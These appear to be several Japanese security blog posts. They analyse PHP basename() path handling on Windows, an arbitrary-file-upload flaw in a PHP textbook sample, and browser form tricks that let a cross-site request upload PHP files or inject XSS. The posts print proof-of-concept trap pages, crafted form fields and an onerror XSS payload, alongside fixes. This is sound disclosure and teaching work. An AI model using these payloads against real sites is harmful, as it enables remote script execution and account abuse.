                上記に対して、file=c:autoexec.bat を指定すると、readfile('c:autoexec.bat') が実行されます。試してみると、ディレクトリセパレータがない場合、カレントディレクトリのautoexec.bat ではなく、c:\autoexec.bat がオープンされるようです。 ドライブレターは c: に限ったわけではなく、d:ドライブなど他のドライブのルートディレクトリ上のファイルもオープン可能となります。
                すなわち、以下の条件が全てそろった場合、アプリケーションの想定ディレクトリではなく、任意ドライブのルートディレクトリの任意ファイルにアクセスできることになります。
                • ファイル名として、basename関数を通しただけのパス名を指定している
                • ディレクトリの指定をしていない。
                そして、以下の影響が考えられます。
                • ルートディレクトリに重要情報があり、ファイル名を知る手段があれば、情報漏洩となる
                • 指定したファイルに書き込みができる場合、ルートディレクトリの任意ファイル名で書き込みができる(*1)
                と、これだけ見ると「そんなにありそうではないけど、該当する場合はやばくないか」と思われるかもしれませんが、この条件に該当するスクリプトは、このbasename関数の挙動がなくても脆弱である可能性が高いです。
                • ディレクトリ修飾をしていないので、カレントディレクトリのPHPソースファイルにアクセスできる可能性が高い
                • 書き込みできるスクリプトの場合、任意内容のPHPスクリプトを外部から書き込むことにより、スクリプトインジェクションができてしまう
                拡張子の制限をしている場合など、脅威は減少しますが、いずれにせよ良くない書き方であるわけで、この機会にソースを見直しましょう。

                安全なウェブサイトの作り方改訂第6版によると、ディレクトリトラバーサル脆弱性の根本的解決策は以下のいずれかとなっています。
                • 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。(3-(i)-a)
                • ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含まれないようにする。(3-(i)-b)
                先に指摘した「該当するケース」は、3-(i)-bの「固定のディレクトリを指定し」ていない状態ですので、これを指定することで、この問題の影響を受けなくなります。
                下記は、安全なウェブサイトの作り方改訂第6版のP71から、ディレクトリトラバーサル脆弱性の修正例です。
                $dir = '/home/www/image/';

                $file_name = $_GET['file_name'];

                if(!file_exists($dir . basename($file_name))) {
                $file_name = 'nofile.png';
                }
                $fp = fopen($dir . basename($file_name),'rb');
                fpassthru($fp);
                上記はWindowsに限った話ではなく、Unix/Linuxでも同じですので、この機会にディレクトリトラバーサル対策の見直しをお勧めします。

                なお、当該問題はphp.netにてBug #66395として報告済みで、既にリポジトリ上は修正されていますが、完全には対策されないと予想されます。安全なウェブサイトの作り方のようにアプリケーション側の正しい対応をお勧めします。

                *1 Windowsのルートディレクトリに書き込むには高い権限が必要ですが、Windows版Apacheの場合、SYSTEM権限で動作するので、Apache上のPHPからルートディレクトリにファイルを書き込みできることを確認しています。

                書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性

                $
                0
                0
                書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。

                はじめに

                Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。
                気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。
                http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496より引用
                質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。
                <?php
                // 略
                $pro_gazou=$_FILES['gazou'];
                // 略
                if($pro_gazou['size']>0) {
                if ($pro_gazou['size']>1000000) {
                print'画像が大き過ぎます。';
                } else {
                move_uploaded_file($pro_gazou['tmp_name'],'./gazou/'.$pro_gazou['name']);
                print'<img src="./gazou/'.$pro_gazou['name'].'" />';
                print'<br />';
                }
                }
                ご覧のように、ファイルサイズの確認はしているものの、ファイルの中身とファイル名については制限がありません。この結果、以下の脆弱性が生じます(代表的なもののみ)。
                • PHPスクリプトをアップロードされ、攻撃者がリモートから任意のスクリプトをWebサーバー上で実行できる
                • HTMLファイルをアップロードされ、利用者のブラウザ上で任意のJavaScriptを当該ドメイン上で実行されられる(XSSと同等の影響)
                本稿では、前者のリモートスクリプト実行について説明します。

                ファイルアップロードの脆弱性

                同書P112の段階ではログイン機能が実装されていませんが、最終的にはこのアップロード機能は店舗スタッフとしてログインした利用者のみが実行できます。
                スタッフだからリモートスクリプト実行できても大丈夫、とは言えません。店舗スタッフには商品情報のメンテナンスの権限はありますが、任意のスクリプト実行の権限まではないと考えられるからです。このため、店舗スタッフがリモートスクリプト実行ができてしまう時点で脆弱性と言えます。
                しかし、現実の運用では、店舗スタッフにサーバーメンテナンスの権限もある(rootパスワードを正当に知っているなど)状況も考えられます。この場合、この脆弱性による実害はなく、運用上許容し得る場合もあるでしょう。

                CSRF攻撃によるファイルアップロードの可能性

                それでは、店舗スタッフ以外の人が、任意ファイルをアップロードできる可能性はないでしょうか。これができると重大な脆弱性となります。実は、店舗スタッフに対してCSRF攻撃をかけると、第三者が任意ファイルをアップロードできてしまいます。以下、その方法を説明します。

                CSRF攻撃の場合、店舗スタッフとしてログイン中のブラウザから以下のリクエストを送信できることが必要です。
                POST /pro_add_check.php HTTP/1.1
                Host: example.jp
                Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXX
                Content-Type: multipart/form-data; boundary=--BNDRY
                Content-Length: 128

                ----BNDRY
                Content-Disposition: form-data; name="file"; filename="a.php"
                Content-Type: text/plain

                <?php phpinfo();※任意のPHPコード

                ----BNDRY--
                通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。

                XHR Level2によるクロスドメインのファイルアップロード

                しかし、XMLHttpRequest Level2(以下、XHR Level2)を使うと、POSTするデータの中身を任意に指定することができ、CSRFによるファイルアップロードが可能になります。
                こう書くと、CORS(Cross-Origin Resource Sharing)による保護があるので、対象サイト側で明示的に許可しないとリクエストが送れないはずではないかという疑問が生じるかもしれません。
                しかし、CORSによるクロスオリジン通信の制御は、XMLHttpRequestによって送信したリクエストに対して、HTTPレスポンスを送信元のスクリプトが受け取れるか否かに関係します。HTTPリクエストを送信するだけであれば、相手側の許可がなくてもできてしまいます。そして、CSRF攻撃は、HTTPリクエストが送信できれば攻撃可能であり、HTTPレスポンスは必要ありません。
                ということで、店舗スタッフがXHR Level2対応のブラウザを使っていれば、以下のようなワナサイトを閲覧した場合、スタッフが知らないうちに、ファイルアップロードのリクエストを自分のブラウザから送信してしまうことになります。
                <body>
                <script>
                // 以下は送信するHTTPリクエストボディの中身
                // \n\ は改行(\n) と 継続行(行末の\)を示す
                data = '\
                ----BNDRY\n\
                Content-Disposition: form-data; name="file"; filename="a.php"\n\
                Content-Type: text/plain\n\
                \n\
                <?php phpinfo();\n\
                \n\
                ----BNDRY--\n\
                ';

                var req = new XMLHttpRequest();
                req.open('POST', 'http://example.jp/pro_add_check.php');
                req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
                req.withCredentials = true;

                req.send(data);
                </script>
                </body>
                上記スクリプトで、req.withCredentials = true; とあるのは、XMLHttpRequestのリクエストにクッキーを付与せよという指令です。これがないと、スタッフのログイン状態でのリクエストにならず、CSRF攻撃は成立しません。
                上記JavaScriptを適当な罠に仕込んでおき、店舗スタッフがうっかり閲覧してしまうと、以下のリクエストが店舗スタッフのブラウザから送信されます。
                POST /pro_add_check.php HTTP/1.1
                Host: example.jp
                Content-Length: 128
                Origin: http://trap.example.com
                Content-Type: multipart/form-data; boundary=--BNDRY
                Referer: http://trap.example.com/d/csrf.html
                Cookie: PHPSESSID=jl970047757cdtmi3g32hka0k7


                ----BNDRY
                Content-Disposition: form-data; name="file"; filename="a.php"
                Content-Type: text/plain

                <?php phpinfo();

                ----BNDRY--
                このリクエストを見ると、以下のことがわかります。
                • クロスドメインで確かに攻撃リクエストが送信されている。
                • multipart/form-dataの形式のデータが送信されており、PHPスクリプトがアップロードされる
                • 認証Cookieが送信されていて、認証状態でリクエストが受け付けられる
                • OriginヘッダとRefererヘッダがワナサイトを示しているが、元のPHPスクリプトはこれらをチェックしていないので攻撃には影響ない
                このスクリプトをCSRF攻撃でアップロードされたタイミングを見計らって、攻撃者が/gazou/a.phpにアクセスすると、以下のようにphpinfoが表示されます。


                ということで、第三者が勝手なPHPスクリプトをアップロードして実行できることを確認しました。

                対策

                サーバーサイドのスクリプト実行を防ぐための最低限の対策は以下となります。
                • アップロードするファイル名の拡張子を画像のもの(.jpg等)に制限する
                ですが、元のスクリプトは色々心許ない感じです。たとえば、ファイル名の衝突があった場合、元々あった画像に上書きされてしまいますが、それをチェックする仕組みはなく、運用でカバーするしかありません。このあたり、本当に「プロ並み」となるには、配慮しなければならないポイントが多くありそうです。
                また、サーバーサイドのスクリプト実行脆弱性がきわめて危険であることを考えると、保険的な対策として、以下を推奨します。
                • アップロードされた画像は公開領域に保存せず、スクリプト経由でダウンロードさせるようにする
                本稿では説明していませんが、アップロードした画像ファイルを悪用したクロスサイト・スクリプティング(XSS)攻撃もあり得ます。詳しくは下記をご覧下さい。
                対策としては下記を推奨します。
                • アップロード時に拡張子が画像のもの(.jpg等)であることを確認する
                • 画像のマジックバイト(前述のエントリを参照)を確認する
                • レスポンスヘッダContent-Typeを正しく設定する
                • 保険的に、X-Content-Type-Options: nosniff をレスポンスヘッダとして送信する
                具体的なプログラミング例については、下記参考書をご確認ください。
                さらに、CSRF脆弱性については、ふつーに対策してください。

                まとめ

                書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性について報告しました。ファイルアップロード単体では、ログインユーザのみが悪用できる脆弱性ですが、CSRF脆弱性を組み合わせることにより、第三者が任意のPHPスクリプトをアップロードできることを示しました。


                IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる

                $
                0
                0
                一昨日のエントリ『書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性』にて、ファイル送信フォームに対するCSRF攻撃の文脈で、私は以下のように書きました。
                通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。
                大半の方は、「ああ、そうだよね」という感じでお読みいただいたように思いますが、昨日サイバーディフェンス研究所福森大喜さんから、「それIE8以前ならできるよ」と教えていただきました。福森さんの許可を得て、以下にPoCを公開します。
                <form enctype="multipart/form-data" action="pro_add_check.php"
                method="POST">
                <input name="name" value="nnnn" type="hidden">
                <input name="price" value="100" type="hidden">
                <input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
                ?>'>
                <input type="submit" value="submit" />
                </form>
                これで確かに、ファイル名が a.php に、ファイルの中身が下記の内容になります。
                <? phpinfo();
                ?>
                それでは、どうしてこれでファイル名とファイルの中身が指定できるのでしょうか。それを説明するために、まずは正常系のリクエストを下記に示します。
                -----------------------------7de34b38200e8
                Content-Disposition: form-data; name="name"

                nnnn
                -----------------------------7de34b38200e8
                Content-Disposition: form-data; name="price"

                100
                -----------------------------7de34b38200e8
                Content-Disposition: form-data; name="gazou"; filename="a.php"
                Content-Type: text/plain

                <? phpinfo();
                ?>

                -----------------------------7de34b38200e8--
                ここで、type=textのnameやpriceと、type=fileのgazouを比較すると、fileの方は「; filename="a.php"」とContent-Typeが追加されていることが分かります。そして、もしもname=として下記が指定できれば、filename=を注入できることになります。
                gazou"; filename="a.php
                そして、IE8 以前では、これができてしまうのですね。Content-Typeは追加できません(訂正: 追加する方法が分かりましたので末尾に追記します)が、PHPはContent-Typeがないフィールドでも、filenameの指定があるだけでファイルと見なすようです。
                それでは、IE9以降および他のブラウザだとname=の中のダブルクォートはどうなるかですが、
                • IE9以降およびGoogle Chrome:  %22 にエスケープされる(パーセントエンコード)
                • Firefox: \"にエスケープされる
                ということで、この攻撃は使えなくなっています。

                このIE8以前の挙動は、マイクロソフト社はIE9以降では修正している、つまり認識しているにも関わらずIE8以前は放置していることと、元々脆弱なアプリケーションのみが影響を受けるということ理由から、Cookie Monster Bugなどと同じく「好ましくない仕様」ということになると考えます。

                ということで、アプリケーション側で淡々とCSRF対策しましょう。この問題があるから新たに特別な対策をしなければならない、ということはありません。

                ところで、前回は触れなかったのですが、紹介したスクリプトの下記の箇所は、ファイル名をエスケープなしでHTML出力しているので、潜在的なクロスサイト・スクリプティング脆弱性があります。
                print'<img src="./gazou/'.$pro_gazou['name'].'" />';
                「潜在的な」と書いたのは、通常HTMLフォームではファイル名を外部から指定する方法がないこと、XHR Level2を使ったリクエスト送信では(対象サーバーが明示的に許可していない限り)クロスオリジンでレスポンスを受け取れないし、仮にレスポンスを受け取れたとしてもブラウザに表示されるわけではないのでXSSにはならないことによります。
                しかし、福森さんに教えていただいた方法だと、HTMLフォームからファイル名が送信できるので、上記の部分にてXSSが発現します。攻撃の例を下記に示します。
                <input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>
                IE8でこれを実行すると、生成されるimg要素は下記となり、onerror属性が注入されています。
                <img src="./gazou/a.gif" onerror="alert(1)">
                a.gifという画像はない(実際に生成されるファイル名は「a.gif" onerror="alert(1)」)ので、onerrorイベントによりalertが実行されます(下図)。


                ファイル名を用いたXSSでは、PHPが内部でbasename()関数で「/」(Windows版では「\」も)以前を切り取ってしまうので、攻撃文字列には「/」や「\」が使えません。このため上記の例ではonerrorイベントを用いました。

                このXSSの方にしても、表示(HTML出力)の際に、変数等を淡々とHTMLエスケープするという原則を守れば脆弱性は混入しないので、IE8以前に対して「特別な配慮」をしなければいけないわけではありません。
                むしろ、「これは外部からコントロールできないはずだからエスケープしなくても大丈夫」という「特別な配慮」(手抜き)をせず、原則に従うことが重要です。この点、私の見た多くのPHP入門書では、スクリプトの先頭でまとめて入力値をhtmlspecialchars関数によりエスケープしているものが多く、XSS対策の説明という点で課題があります。

                ※追記
                当初Content-Typeは追記できないと書きましたが、以下のinput要素を用いることで、Contet-Typeも指定できました。メールヘッダインジェクションと同じような要領ですね。
                <input name='gazou"; filename="a.php"
                Content-Type: text/plain

                <?php phpinfo();//
                ' type="hidden" value=''>
                これに対するHTTPリクエストは下記の通りです(該当箇所のみ)。
                -----------------------------7de2fd25200e8
                Content-Disposition: form-data; name="gazou"; filename="a.php"
                Content-Type: text/plain

                <?php phpinfo();//
                "


                -----------------------------7de2fd25200e8--
                ということで、Content-Typeも含めて改変できることが分かりました。

                IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる

                $
                0
                0
                昨日の日記「IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる」にて、福森大喜さんから教えていただいた内容として、ファイルアップロードのHTMLフォーム(enctype="multipart/form-data")にて、アップロードするファイル名とファイルの中身を外部から指定できることを報告しました。この際にIE8以前という条件がありましたが、今度は、三井物産セキュアディレクション望月岳さんから、「それIE9以降でもできるよ」と教えていただきました。既にご存じだったそうです。福森さん、望月さんという日本を代表するバグハンターから「秘伝のたれ」をおすそわけいただいたようで、興奮気味ですw

                まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。
                <form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
                <input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
                <input type="submit" value="submit" />
                これによるリクエスト(要点のみ)は下記となり、ファイル名とファイルの中身が指定できていることが分かります(WindowsXP上のIE8で確認)。
                -----------------------------7de2af1b3f023e
                Content-Disposition: form-data; name="gazou"; filename="a.php"

                <? phpinfo();?>
                -----------------------------7de2af1b3f023e--
                この方法はIE8まででのみ有効で、IE9以降ではname属性中のダブルクォートがパーセントエンコード(%22)されるようなりました。
                これに対して、望月さんから教えていただいた方法は、textarea要素を使うものです。望月さんのご許可をいただきましたので下記に公開します。
                <textarea name='gazou"; filename="phpinfo.php'>
                &lt;?php
                phpinfo();
                ?&gt;
                </textarea>
                これによるリクエストは下記の通りです。Windows7上のIE11で確認したところ、ファイル名とファイルの中身が指定できていることが分かります。
                -----------------------------7de3811808b6
                Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

                <?php
                phpinfo();
                ?>

                -----------------------------7de3811808b6--
                望月さんから教えていただいたtextarea要素が使えるのであれば、select要素でもできるのではないかと考え、試してみました。環境は同じくWindows7上のIE11です。
                <select name='gazou"; filename="phpinfo.php'>
                <option value="<?php phpinfo(); ?>" selected>1</option>
                </select>
                すると、下記のリクエストとなり、select要素でもできることが分かりました。
                -----------------------------7de6110808b6
                Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

                <?php phpinfo(); ?>
                -----------------------------7de6110808b6--
                さて、上記を公開して良いかについては、少し悩みました。input要素の場合のように、「IE9では改修されているが、IE8以前では放置されている、すなわち改修される見込みが薄い」というものではないと思ったからです。
                しかし、望月さんからの情報によると、2008年に既に公知となっているとのことです。また、望月さんからマイクロソフトには連絡済みとのことでした。


                既に公開されている情報を隠していても仕方ないので、こうして公開することにしました。上記のリンク先には、Content-Typeを指定する方法も記載されています。これは昨日のエントリで私が追記した方法と同じですね。

                ということで、最新のIEであってもファイルアップロードフォームにて、外部からファイル名とファイルの中身を指定できることを紹介しました。これによる影響としては下記が考えられます。

                • CSRFにて別の利用者のブラウザ上からファイルをアップロードする
                • ファイル名のエスケープ漏れがある場合にXSSができる

                どちらも、CSRFやXSSの基本的な対策をしていれば防げるものですので大きな影響はありませんが、「攻撃経路がないから大丈夫」と思って手抜きをしていると危険な状態になる可能性がありますね。それに、Unix/Linuxでは「<」や「>」等もファイル名として使える文字ですので、ファイル名のHTMLエスケープはセキュリティ抜きとしても必要な処理です。
                Viewing all 194 articles
                Browse latest View live